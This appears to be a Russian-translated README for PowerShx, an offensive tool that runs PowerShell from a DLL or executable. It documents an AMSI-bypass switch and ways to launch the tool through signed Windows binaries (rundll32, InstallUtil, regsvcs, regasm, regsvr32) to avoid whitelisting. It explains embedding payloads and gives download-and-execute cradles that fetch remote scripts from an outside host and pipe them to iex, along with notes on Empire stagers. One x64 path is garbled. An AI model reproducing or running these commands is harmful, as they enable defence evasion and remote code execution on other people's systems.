
Запускайте Powershell без программных ограничений.
Неуправляемое выполнение PowerShell с использованием DLL или автономного исполняемого файла.
PowerShx — это переработка и расширение проекта PowerShdll. PowerShx предоставляет функции для обхода AMSI и выполнения PS-командлетов.
rundll32 PowerShx.dll,main -e <PS script to run>
rundll32 PowerShx.dll,main -f <path> Run the script passed as argument
rundll32 PowerShx.dll,main -f <path> -c <PS Cmdlet> Load a script and run a PS cmdlet
rundll32 PowerShx.dll,main -w Start an interactive console in a new window
rundll32 PowerShx.dll,main -i Start an interactive console
rundll32 PowerShx.dll,main -s Attempt to bypass AMSI
rundll32 PowerShx.dll,main -v Print Execution Output to the console
1.
x86 - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShx.dll
x64 - C:\Windows\Microsoft.NET\Framework64\v4.0.3031964\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShx.dll
2.
x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe PowerShx.dll
x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regsvcs.exe PowerShx.dll
3.
x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U PowerShx.dll
x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /U PowerShx.dll
4.
regsvr32 /s /u PowerShx.dll -->Calls DllUnregisterServer
regsvr32 /s PowerShx.dll --> Calls DllRegisterServer
PowerShx.exe -i Start an interactive console
PowerShx.exe -e <PS script to run>
PowerShx.exe -f <path> Run the script passed as argument
PowerShx.exe -f <path> -c <PS Cmdlet> Load a script and run a PS cmdlet
PowerShx.exe -s Attempt to bypass AMSI.
Полезные нагрузки можно встроить, обновив словарь данных "Common.Payloads.PayloadDict" в проекте "Common" и вызвав его в методе PsSession.cs -> Handle(). Пример: в методе Handle():
private void Handle(Options options)
{
// Pre-execution before user script
_ps.Exe(Payloads.PayloadDict["amsi"]);
}
rundll32 PowerShx.dll,main [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String("BASE64")) ^| iex
PowerShx.exe -e [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String("BASE64")) ^| iex
Примечание: stagers Empire необходимо декодировать с помощью [System.Text.Encoding]::Unicode
rundll32 PowerShx.dll,main . { iwr -useb https://website.com/Script.ps1 } ^| iex;
PowerShx.exe -e "IEX ((new-object net.webclient).downloadstring('http://192.168.100/payload-http'))"
.NET 4
Некоторые ошибки не отображаются в выводе. Это может сбивать с толку, так как команды, такие как Import-Module, не выводят сообщение об ошибке при сбое. Убедитесь, что вы правильно ввели команды.
В режиме DLL интерактивный режим и вывод команд зависят от перехвата консоли родительского процесса. Если у родительского процесса нет консоли, используйте ключ -n, чтобы не показывать вывод, иначе приложение аварийно завершится.
Из-за того, как Rundll32 обрабатывает аргументы, использование нескольких пробелов между ключами и аргументами может вызвать проблемы. Несколько пробелов внутри скриптов допустимы.